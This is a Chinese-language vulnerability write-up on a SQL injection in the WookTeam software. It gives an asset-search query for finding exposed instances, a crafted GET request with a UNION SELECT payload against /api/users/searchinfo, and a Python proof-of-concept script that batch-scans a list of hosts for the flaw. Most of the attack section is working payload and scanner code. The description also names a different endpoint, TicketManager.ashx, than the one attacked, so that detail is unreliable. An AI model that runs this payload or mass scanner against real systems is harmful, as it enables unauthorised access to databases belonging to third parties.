》》》漏洞描述《《《
WookTeam 是一支专注于打造高质量软件产品的软件开发团队。他们凭借深厚的技术背景和丰富的项目经验,擅长运用敏捷开发方法,强调团队合作与持续交付。WookTeam 注重用户体验,追求代码的质量和可维护性,并利用最新的技术栈和工具来提高开发效率。他们致力于为客户提供卓越的软件解决方案,助力企业实现数字化转型和业务创新。团队成员具备出色的沟通能力和责任心,能够迅速适应变化,不断学习和提升。然而,他们的接口TicketManager.ashx存在SQL注入漏洞,攻击者可以通过这个漏洞获取数据库中的敏感信息。
》》》资产收集《《《
title="Wookteam"
》》》漏洞复现《《《
构造数据包
GET /api/users/searchinfo?where[username]=1%27%29+UNION+ALL+SELECT+NULL%2CCONCAT%280x7e%2Cmd5%28123456%29%2C0x7e%29%2CNULL%2CNULL%2CNULL%23 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: keep-alive
这是一个HTTP GET请求的数据包,用于查询用户信息。下面是对这个数据包的详细解析:
1. 请求行(Request Line):
- `GET`: 表示这是一个GET请求,用于从服务器获取数据。
- `/api/users/searchinfo?where[username]=1%27%29+UNION+ALL+SELECT+NULL%2CCONCAT%280x7e%2Cmd5%28123456%29%2C0x7e%29%2CNULL%2CNULL%2CNULL%23`: 这是请求的URL,包含了一个查询参数`where[username]`,其值为一个SQL注入攻击的尝试。这个值试图执行一个UNION查询,将原始查询的结果与另一个查询的结果合并,从而获取更多的信息。
- `HTTP/1.1`: 表示使用的是HTTP协议的版本1.1。2. 请求头(Request Headers):
- `Host: x.x.x.x`: 指定了请求的目标服务器地址。
- `User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36`: 描述了发起请求的客户端的信息,包括浏览器类型和版本。
- `Connection: keep-alive`: 表示希望保持连接持续活跃,以便在同一TCP连接上发送多个请求。需要注意的是,这个请求中包含了一个SQL注入攻击的尝试,这是一种常见的安全漏洞。攻击者试图通过修改查询参数的值来执行恶意的SQL代码,以获取未经授权的数据或影响数据库的行为。为了防止这种攻击,应该对用户输入进行严格的验证和过滤,并使用参数化查询或预编译语句来避免直接拼接SQL语句。
1.构造数据包username=md5(123456)
》》》测试工具《《《
使用poc批量扫描
import urllib.request
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
import re
# 创建一个未经验证的SSL上下文,以允许不安全的HTTPS请求
ssl._create_default_https_context = ssl._create_unverified_context
# 禁用urllib3中的InsecureRequestWarning警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def read_file(file_path):
"""
读取文件中的URL列表
:param file_path: 文件路径
:return: URL列表
"""
with open(file_path, 'r') as file:
urls = file.read().splitlines()
return urls
def check(url):
"""
检查目标URL是否存在SQL注入漏洞
:param url: 目标URL
:return: 如果存在漏洞,返回True
"""
url = url.rstrip("/")
# 构造恶意请求URL,尝试执行SQL注入攻击
target = url + "/api/users/searchinfo?where[username]=1%27%29+UNION+ALL+SELECT+NULL%2CCONCAT%280x7e%2Cmd5%28123456%29%2C0x7e%29%2CNULL%2CNULL%2CNULL%23"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
}
try:
# 发送带有恶意载荷的GET请求
response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True)
res = urllib.request.urlopen(response)
status_code = res.getcode()
content = res.read().decode()
# 检查响应状态码和内容中是否包含预期的关键字,以判断是否存在漏洞
if status_code == 200 and 'username' in content and 'e10adc3949ba59abbe56e057f20f883e' in content:
print(f"\033[31mDiscovered:{url}: WookTeam_searchinfo_SQLInject!\033[0m")
return True
except Exception as e:
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="URL")
parser.add_argument("-f", "--txt", help="file")
args = parser.parse_args()
url = args.url
txt = args.txt
if url:
check(url)
elif txt:
urls = read_file(txt)
for url in urls:
check(url)
else:
print("help")
cmd运行poc脚本:python poc.py -f host.txt